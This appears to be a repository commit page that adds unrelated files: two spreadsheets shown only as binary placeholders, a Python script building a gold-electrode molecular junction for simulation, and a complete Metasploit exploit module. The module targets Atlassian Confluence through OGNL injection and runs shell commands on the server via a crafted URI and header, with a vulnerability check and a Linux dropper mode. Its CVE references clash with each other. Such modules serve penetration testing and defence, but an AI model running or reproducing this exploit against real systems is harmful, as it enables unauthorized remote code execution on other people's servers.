Upload 4 files
Browse files
SQLServerBuilds.xlsx
ADDED
Binary file (524 kB). View file
|
|
atlassian_confluence_namespace_ognl_injection.rb.txt
ADDED
@@ -0,0 +1,158 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
##
|
2 |
+
# This module requires Metasploit: https://metasploit.com/download
|
3 |
+
# Current source: https://github.com/rapid7/metasploit-framework
|
4 |
+
##
|
5 |
+
|
6 |
+
class MetasploitModule < Msf::Exploit::Remote
|
7 |
+
|
8 |
+
Rank = ExcellentRanking
|
9 |
+
|
10 |
+
prepend Msf::Exploit::Remote::AutoCheck
|
11 |
+
include Msf::Exploit::Remote::HttpClient
|
12 |
+
include Msf::Exploit::CmdStager
|
13 |
+
|
14 |
+
def initialize(info = {})
|
15 |
+
super(
|
16 |
+
update_info(
|
17 |
+
info,
|
18 |
+
'Name' => 'Atlassian Confluence Namespace OGNL Injection',
|
19 |
+
'Description' => %q{
|
20 |
+
This module exploits an OGNL injection in Atlassian Confluence servers. A specially crafted URI can be used to
|
21 |
+
evaluate an OGNL expression resulting in OS command execution.
|
22 |
+
},
|
23 |
+
'Author' => [
|
24 |
+
'Unknown', # exploited in the wild
|
25 |
+
'bturner-r7',
|
26 |
+
'jbaines-r7',
|
27 |
+
'Spencer McIntyre'
|
28 |
+
],
|
29 |
+
'References' => [
|
30 |
+
['CVE', '2021-26084'],
|
31 |
+
['URL', 'https://jira.atlassian.com/browse/CONFSERVER-79000?src=confmacro'],
|
32 |
+
['URL', 'https://gist.githubusercontent.com/bturner-r7/1d0b62fac85235b94f1c95cc4c03fcf3/raw/478e53b6f68b5150eefd53e0956f23d53618d250/confluence-exploit.py'],
|
33 |
+
['URL', 'https://github.com/jbaines-r7/through_the_wire'],
|
34 |
+
['URL', 'https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis']
|
35 |
+
],
|
36 |
+
'DisclosureDate' => '2022-06-02',
|
37 |
+
'License' => MSF_LICENSE,
|
38 |
+
'Platform' => ['unix', 'linux'],
|
39 |
+
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
|
40 |
+
'Privileged' => false,
|
41 |
+
'Targets' => [
|
42 |
+
[
|
43 |
+
'Unix Command',
|
44 |
+
{
|
45 |
+
'Platform' => 'unix',
|
46 |
+
'Arch' => ARCH_CMD,
|
47 |
+
'Type' => :cmd
|
48 |
+
}
|
49 |
+
],
|
50 |
+
[
|
51 |
+
'Linux Dropper',
|
52 |
+
{
|
53 |
+
'Platform' => 'linux',
|
54 |
+
'Arch' => [ARCH_X86, ARCH_X64],
|
55 |
+
'Type' => :dropper
|
56 |
+
}
|
57 |
+
]
|
58 |
+
],
|
59 |
+
'DefaultTarget' => 0,
|
60 |
+
'DefaultOptions' => {
|
61 |
+
'RPORT' => 8090
|
62 |
+
},
|
63 |
+
'Notes' => {
|
64 |
+
'Stability' => [CRASH_SAFE],
|
65 |
+
'Reliability' => [REPEATABLE_SESSION],
|
66 |
+
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
|
67 |
+
}
|
68 |
+
)
|
69 |
+
)
|
70 |
+
|
71 |
+
register_options([
|
72 |
+
OptString.new('TARGETURI', [true, 'Base path', '/'])
|
73 |
+
])
|
74 |
+
end
|
75 |
+
|
76 |
+
def check
|
77 |
+
version = get_confluence_version
|
78 |
+
return CheckCode::Unknown unless version
|
79 |
+
|
80 |
+
vprint_status("Detected Confluence version: #{version}")
|
81 |
+
header = "X-#{Rex::Text.rand_text_alphanumeric(10..15)}"
|
82 |
+
res = inject_ognl('', header: header) # empty command works for testing, the header will be set
|
83 |
+
|
84 |
+
return CheckCode::Unknown unless res
|
85 |
+
|
86 |
+
unless res && res.headers.include?(header)
|
87 |
+
return CheckCode::Safe('Failed to test OGNL injection.')
|
88 |
+
end
|
89 |
+
|
90 |
+
CheckCode::Vulnerable('Successfully tested OGNL injection.')
|
91 |
+
end
|
92 |
+
|
93 |
+
def get_confluence_version
|
94 |
+
return @confluence_version if @confluence_version
|
95 |
+
|
96 |
+
res = send_request_cgi(
|
97 |
+
'method' => 'GET',
|
98 |
+
'uri' => normalize_uri(target_uri.path, 'login.action')
|
99 |
+
)
|
100 |
+
return nil unless res&.code == 200
|
101 |
+
|
102 |
+
poweredby = res.get_xml_document.xpath('//ul[@id="poweredby"]/li[@class="print-only"]/text()').first&.text
|
103 |
+
return nil unless poweredby =~ /Confluence (\d+(\.\d+)*)/
|
104 |
+
|
105 |
+
@confluence_version = Rex::Version.new(Regexp.last_match(1))
|
106 |
+
@confluence_version
|
107 |
+
end
|
108 |
+
|
109 |
+
def exploit
|
110 |
+
print_status("Executing #{payload_instance.refname} (#{target.name})")
|
111 |
+
|
112 |
+
case target['Type']
|
113 |
+
when :cmd
|
114 |
+
execute_command(payload.encoded)
|
115 |
+
when :dropper
|
116 |
+
execute_cmdstager
|
117 |
+
end
|
118 |
+
end
|
119 |
+
|
120 |
+
def execute_command(cmd, _opts = {})
|
121 |
+
header = "X-#{Rex::Text.rand_text_alphanumeric(10..15)}"
|
122 |
+
res = inject_ognl(cmd, header: header)
|
123 |
+
|
124 |
+
unless res && res.headers.include?(header)
|
125 |
+
fail_with(Failure::PayloadFailed, "Failed to execute command: #{cmd}")
|
126 |
+
end
|
127 |
+
|
128 |
+
vprint_good("Successfully executed command: #{cmd}")
|
129 |
+
res.headers[header]
|
130 |
+
end
|
131 |
+
|
132 |
+
def inject_ognl(cmd, header:)
|
133 |
+
send_request_cgi(
|
134 |
+
'method' => 'POST',
|
135 |
+
'uri' => normalize_uri(target_uri.path, Rex::Text.uri_encode(ognl_payload(cmd, header: header)), 'dashboard.action'),
|
136 |
+
'headers' => { header => cmd }
|
137 |
+
)
|
138 |
+
end
|
139 |
+
|
140 |
+
def ognl_payload(_cmd, header:)
|
141 |
+
<<~OGNL.gsub(/^\s+/, '').tr("\n", '')
|
142 |
+
${
|
143 |
+
Class.forName("com.opensymphony.webwork.ServletActionContext")
|
144 |
+
.getMethod("getResponse",null)
|
145 |
+
.invoke(null,null)
|
146 |
+
.setHeader("#{header}",
|
147 |
+
Class.forName("javax.script.ScriptEngineManager")
|
148 |
+
.newInstance()
|
149 |
+
.getEngineByName("js")
|
150 |
+
.eval("java.lang.Runtime.getRuntime().exec([
|
151 |
+
#{target['Platform'] == 'win' ? "'cmd.exe','/c'" : "'/bin/sh','-c'"},
|
152 |
+
com.opensymphony.webwork.ServletActionContext.getRequest().getHeader('#{header}')
|
153 |
+
]); '#{Faker::Internet.uuid}'")
|
154 |
+
)
|
155 |
+
}
|
156 |
+
OGNL
|
157 |
+
end
|
158 |
+
end
|
builder_device.py
ADDED
@@ -0,0 +1,221 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
# -------------------------------------------------------------
|
2 |
+
# Left Electrode
|
3 |
+
# -------------------------------------------------------------
|
4 |
+
|
5 |
+
# Set up lattice
|
6 |
+
vector_a = [8.65127, 0.0, 0.0]*Angstrom
|
7 |
+
vector_b = [-4.32564, 7.49222, 0.0]*Angstrom
|
8 |
+
vector_c = [0.0, 0.0, 7.06373620597]*Angstrom
|
9 |
+
left_electrode_lattice = UnitCell(vector_a, vector_b, vector_c)
|
10 |
+
|
11 |
+
# Define elements
|
12 |
+
left_electrode_elements = [Gold, Gold, Gold, Gold, Gold, Gold, Gold, Gold, Gold, Gold, Gold,
|
13 |
+
Gold, Gold, Gold, Gold, Gold, Gold, Gold, Gold, Gold, Gold, Gold,
|
14 |
+
Gold, Gold, Gold, Gold, Gold]
|
15 |
+
|
16 |
+
# Define coordinates
|
17 |
+
left_electrode_coordinates = [[ 0. , 0. , 1.177246838306],
|
18 |
+
[ 2.883758230374, 0. , 1.177246838306],
|
19 |
+
[ 5.767516460748, 0. , 1.177246838306],
|
20 |
+
[-1.441879115187, 2.497407885876, 1.177246838306],
|
21 |
+
[ 1.441879115187, 2.497407885876, 1.177246838306],
|
22 |
+
[ 4.325637345561, 2.497407885876, 1.177246838306],
|
23 |
+
[-2.883758230374, 4.994815771753, 1.177246838306],
|
24 |
+
[-0. , 4.994815771753, 1.177246838306],
|
25 |
+
[ 2.883758230374, 4.994815771753, 1.177246838306],
|
26 |
+
[ 1.441879115187, 0.832469295292, 3.531825573629],
|
27 |
+
[ 4.325637345561, 0.832469295292, 3.531825573629],
|
28 |
+
[ 7.209395575935, 0.832469295292, 3.531825573629],
|
29 |
+
[-0. , 3.329877181169, 3.531825573629],
|
30 |
+
[ 2.883758230374, 3.329877181169, 3.531825573629],
|
31 |
+
[ 5.767516460748, 3.329877181169, 3.531825573629],
|
32 |
+
[-1.441879115187, 5.827285067045, 3.531825573629],
|
33 |
+
[ 1.441879115187, 5.827285067045, 3.531825573629],
|
34 |
+
[ 4.325637345561, 5.827285067045, 3.531825573629],
|
35 |
+
[-0. , 1.664938590584, 5.886404308952],
|
36 |
+
[ 2.883758230374, 1.664938590584, 5.886404308952],
|
37 |
+
[ 5.767516460748, 1.664938590584, 5.886404308952],
|
38 |
+
[-1.441879115187, 4.162346476461, 5.886404308952],
|
39 |
+
[ 1.441879115187, 4.162346476461, 5.886404308952],
|
40 |
+
[ 4.325637345561, 4.162346476461, 5.886404308952],
|
41 |
+
[-2.883758230374, 6.659754362337, 5.886404308952],
|
42 |
+
[-0. , 6.659754362337, 5.886404308952],
|
43 |
+
[ 2.883758230374, 6.659754362337, 5.886404308952]]*Angstrom
|
44 |
+
|
45 |
+
# Set up configuration
|
46 |
+
left_electrode = BulkConfiguration(
|
47 |
+
bravais_lattice=left_electrode_lattice,
|
48 |
+
elements=left_electrode_elements,
|
49 |
+
cartesian_coordinates=left_electrode_coordinates
|
50 |
+
)
|
51 |
+
|
52 |
+
# -------------------------------------------------------------
|
53 |
+
# Right Electrode
|
54 |
+
# -------------------------------------------------------------
|
55 |
+
|
56 |
+
# Set up lattice
|
57 |
+
vector_a = [8.65127, 0.0, 0.0]*Angstrom
|
58 |
+
vector_b = [-4.32564, 7.49222, 0.0]*Angstrom
|
59 |
+
vector_c = [0.0, 0.0, 7.06373620597]*Angstrom
|
60 |
+
right_electrode_lattice = UnitCell(vector_a, vector_b, vector_c)
|
61 |
+
|
62 |
+
# Define elements
|
63 |
+
right_electrode_elements = [Gold, Gold, Gold, Gold, Gold, Gold, Gold, Gold, Gold, Gold, Gold,
|
64 |
+
Gold, Gold, Gold, Gold, Gold, Gold, Gold, Gold, Gold, Gold, Gold,
|
65 |
+
Gold, Gold, Gold, Gold, Gold]
|
66 |
+
|
67 |
+
# Define coordinates
|
68 |
+
right_electrode_coordinates = [[ 0. , 1.664938590584, 1.177331897016],
|
69 |
+
[ 2.883758230374, 1.664938590584, 1.177331897016],
|
70 |
+
[ 5.767516460748, 1.664938590584, 1.177331897016],
|
71 |
+
[-1.441879115187, 4.162346476461, 1.177331897016],
|
72 |
+
[ 1.441879115187, 4.162346476461, 1.177331897016],
|
73 |
+
[ 4.325637345561, 4.162346476461, 1.177331897016],
|
74 |
+
[-2.883758230374, 6.659754362337, 1.177331897016],
|
75 |
+
[-0. , 6.659754362337, 1.177331897016],
|
76 |
+
[ 2.883758230374, 6.659754362337, 1.177331897016],
|
77 |
+
[ 1.441879115187, 0.832469295292, 3.531910632339],
|
78 |
+
[ 4.325637345561, 0.832469295292, 3.531910632339],
|
79 |
+
[ 7.209395575935, 0.832469295292, 3.531910632339],
|
80 |
+
[-0. , 3.329877181169, 3.531910632339],
|
81 |
+
[ 2.883758230374, 3.329877181169, 3.531910632339],
|
82 |
+
[ 5.767516460748, 3.329877181169, 3.531910632339],
|
83 |
+
[-1.441879115187, 5.827285067045, 3.531910632339],
|
84 |
+
[ 1.441879115187, 5.827285067045, 3.531910632339],
|
85 |
+
[ 4.325637345561, 5.827285067045, 3.531910632339],
|
86 |
+
[ 0. , 0. , 5.886489367661],
|
87 |
+
[ 2.883758230374, 0. , 5.886489367661],
|
88 |
+
[ 5.767516460748, 0. , 5.886489367661],
|
89 |
+
[-1.441879115187, 2.497407885876, 5.886489367661],
|
90 |
+
[ 1.441879115187, 2.497407885876, 5.886489367661],
|
91 |
+
[ 4.325637345561, 2.497407885876, 5.886489367661],
|
92 |
+
[-2.883758230374, 4.994815771753, 5.886489367661],
|
93 |
+
[-0. , 4.994815771753, 5.886489367661],
|
94 |
+
[ 2.883758230374, 4.994815771753, 5.886489367661]]*Angstrom
|
95 |
+
|
96 |
+
# Set up configuration
|
97 |
+
right_electrode = BulkConfiguration(
|
98 |
+
bravais_lattice=right_electrode_lattice,
|
99 |
+
elements=right_electrode_elements,
|
100 |
+
cartesian_coordinates=right_electrode_coordinates
|
101 |
+
)
|
102 |
+
|
103 |
+
# -------------------------------------------------------------
|
104 |
+
# Central Region
|
105 |
+
# -------------------------------------------------------------
|
106 |
+
|
107 |
+
# Set up lattice
|
108 |
+
vector_a = [8.65127, 0.0, 0.0]*Angstrom
|
109 |
+
vector_b = [-4.32564, 7.49222, 0.0]*Angstrom
|
110 |
+
vector_c = [0.0, 0.0, 26.1842542284]*Angstrom
|
111 |
+
central_region_lattice = UnitCell(vector_a, vector_b, vector_c)
|
112 |
+
|
113 |
+
# Define elements
|
114 |
+
central_region_elements = [Gold, Gold, Gold, Gold, Gold, Gold, Gold, Gold, Gold, Gold, Gold,
|
115 |
+
Gold, Gold, Gold, Gold, Gold, Gold, Gold, Gold, Gold, Gold, Gold,
|
116 |
+
Gold, Gold, Gold, Gold, Gold, Gold, Gold, Gold, Gold, Gold, Gold,
|
117 |
+
Gold, Gold, Gold, Sulfur, Carbon, Hydrogen, Hydrogen, Carbon,
|
118 |
+
Carbon, Carbon, Carbon, Hydrogen, Hydrogen, Carbon, Sulfur, Gold,
|
119 |
+
Gold, Gold, Gold, Gold, Gold, Gold, Gold, Gold, Gold, Gold, Gold,
|
120 |
+
Gold, Gold, Gold, Gold, Gold, Gold, Gold, Gold, Gold, Gold, Gold,
|
121 |
+
Gold, Gold, Gold, Gold, Gold, Gold, Gold, Gold, Gold, Gold, Gold,
|
122 |
+
Gold, Gold]
|
123 |
+
|
124 |
+
# Define coordinates
|
125 |
+
central_region_coordinates = [[ 0. , 0. , 1.177246838306],
|
126 |
+
[ 2.883758230374, 0. , 1.177246838306],
|
127 |
+
[ 5.767516460748, 0. , 1.177246838306],
|
128 |
+
[ -1.441879115187, 2.497407885876, 1.177246838306],
|
129 |
+
[ 1.441879115187, 2.497407885876, 1.177246838306],
|
130 |
+
[ 4.325637345561, 2.497407885876, 1.177246838306],
|
131 |
+
[ -2.883758230374, 4.994815771753, 1.177246838306],
|
132 |
+
[ -0. , 4.994815771753, 1.177246838306],
|
133 |
+
[ 2.883758230374, 4.994815771753, 1.177246838306],
|
134 |
+
[ 1.441879115187, 0.832469295292, 3.531825573629],
|
135 |
+
[ 4.325637345561, 0.832469295292, 3.531825573629],
|
136 |
+
[ 7.209395575935, 0.832469295292, 3.531825573629],
|
137 |
+
[ -0. , 3.329877181169, 3.531825573629],
|
138 |
+
[ 2.883758230374, 3.329877181169, 3.531825573629],
|
139 |
+
[ 5.767516460748, 3.329877181169, 3.531825573629],
|
140 |
+
[ -1.441879115187, 5.827285067045, 3.531825573629],
|
141 |
+
[ 1.441879115187, 5.827285067045, 3.531825573629],
|
142 |
+
[ 4.325637345561, 5.827285067045, 3.531825573629],
|
143 |
+
[ -0. , 1.664938590584, 5.886404308952],
|
144 |
+
[ 2.883758230374, 1.664938590584, 5.886404308952],
|
145 |
+
[ 5.767516460748, 1.664938590584, 5.886404308952],
|
146 |
+
[ -1.441879115187, 4.162346476461, 5.886404308952],
|
147 |
+
[ 1.441879115187, 4.162346476461, 5.886404308952],
|
148 |
+
[ 4.325637345561, 4.162346476461, 5.886404308952],
|
149 |
+
[ -2.883758230374, 6.659754362337, 5.886404308952],
|
150 |
+
[ -0. , 6.659754362337, 5.886404308952],
|
151 |
+
[ 2.883758230374, 6.659754362337, 5.886404308952],
|
152 |
+
[ 0. , 0. , 8.240983044274],
|
153 |
+
[ 2.883758230374, 0. , 8.240983044274],
|
154 |
+
[ 5.767516460748, 0. , 8.240983044274],
|
155 |
+
[ -1.441879115187, 2.497407885876, 8.240983044274],
|
156 |
+
[ 1.441879115187, 2.497407885876, 8.240983044274],
|
157 |
+
[ 4.325637345561, 2.497407885876, 8.240983044274],
|
158 |
+
[ -2.883758230374, 4.994815771753, 8.240983044274],
|
159 |
+
[ -0. , 4.994815771753, 8.240983044274],
|
160 |
+
[ 2.883758230374, 4.994815771753, 8.240983044274],
|
161 |
+
[ -0. , 3.329877181169, 9.950983044274],
|
162 |
+
[ 0.000167598274, 3.330000988149, 11.700983031869],
|
163 |
+
[ 2.141113495536, 3.104457648599, 11.849212743505],
|
164 |
+
[ -2.140744100558, 3.555570150149, 11.849240681067],
|
165 |
+
[ 1.19830836185 , 3.203799621127, 12.396521536067],
|
166 |
+
[ -1.19793542389 , 3.456256114907, 12.39656493323 ],
|
167 |
+
[ 1.198435435614, 3.203780838187, 13.787656477468],
|
168 |
+
[ -1.197806007547, 3.456195085679, 13.787696164708],
|
169 |
+
[ 2.141237198973, 3.10441690481 , 14.335054536015],
|
170 |
+
[ -2.140622838979, 3.555422091299, 14.335071137123],
|
171 |
+
[ 0.000320116744, 3.329990265468, 14.483271217051],
|
172 |
+
[ -0. , 3.329877181169, 16.233271184118],
|
173 |
+
[ 0. , 0. , 17.943271184118],
|
174 |
+
[ 2.883758230374, 0. , 17.943271184118],
|
175 |
+
[ 5.767516460748, 0. , 17.943271184118],
|
176 |
+
[ -1.441879115187, 2.497407885876, 17.943271184118],
|
177 |
+
[ 1.441879115187, 2.497407885876, 17.943271184118],
|
178 |
+
[ 4.325637345561, 2.497407885876, 17.943271184118],
|
179 |
+
[ -2.883758230374, 4.994815771753, 17.943271184118],
|
180 |
+
[ -0. , 4.994815771753, 17.943271184118],
|
181 |
+
[ 2.883758230374, 4.994815771753, 17.943271184118],
|
182 |
+
[ 0. , 1.664938590584, 20.297849919441],
|
183 |
+
[ 2.883758230374, 1.664938590584, 20.297849919441],
|
184 |
+
[ 5.767516460748, 1.664938590584, 20.297849919441],
|
185 |
+
[ -1.441879115187, 4.162346476461, 20.297849919441],
|
186 |
+
[ 1.441879115187, 4.162346476461, 20.297849919441],
|
187 |
+
[ 4.325637345561, 4.162346476461, 20.297849919441],
|
188 |
+
[ -2.883758230374, 6.659754362337, 20.297849919441],
|
189 |
+
[ -0. , 6.659754362337, 20.297849919441],
|
190 |
+
[ 2.883758230374, 6.659754362337, 20.297849919441],
|
191 |
+
[ 1.441879115187, 0.832469295292, 22.652428654764],
|
192 |
+
[ 4.325637345561, 0.832469295292, 22.652428654764],
|
193 |
+
[ 7.209395575935, 0.832469295292, 22.652428654764],
|
194 |
+
[ -0. , 3.329877181169, 22.652428654764],
|
195 |
+
[ 2.883758230374, 3.329877181169, 22.652428654764],
|
196 |
+
[ 5.767516460748, 3.329877181169, 22.652428654764],
|
197 |
+
[ -1.441879115187, 5.827285067045, 22.652428654764],
|
198 |
+
[ 1.441879115187, 5.827285067045, 22.652428654764],
|
199 |
+
[ 4.325637345561, 5.827285067045, 22.652428654764],
|
200 |
+
[ 0. , 0. , 25.007007390086],
|
201 |
+
[ 2.883758230374, 0. , 25.007007390086],
|
202 |
+
[ 5.767516460748, 0. , 25.007007390086],
|
203 |
+
[ -1.441879115187, 2.497407885876, 25.007007390086],
|
204 |
+
[ 1.441879115187, 2.497407885876, 25.007007390086],
|
205 |
+
[ 4.325637345561, 2.497407885876, 25.007007390086],
|
206 |
+
[ -2.883758230374, 4.994815771753, 25.007007390086],
|
207 |
+
[ -0. , 4.994815771753, 25.007007390086],
|
208 |
+
[ 2.883758230374, 4.994815771753, 25.007007390086]]*Angstrom
|
209 |
+
|
210 |
+
# Set up configuration
|
211 |
+
central_region = BulkConfiguration(
|
212 |
+
bravais_lattice=central_region_lattice,
|
213 |
+
elements=central_region_elements,
|
214 |
+
cartesian_coordinates=central_region_coordinates
|
215 |
+
)
|
216 |
+
|
217 |
+
device_configuration = DeviceConfiguration(
|
218 |
+
central_region,
|
219 |
+
[left_electrode, right_electrode]
|
220 |
+
)
|
221 |
+
|
mde-streamlined-urls-commercial.xlsx
ADDED
Binary file (52.7 kB). View file
|
|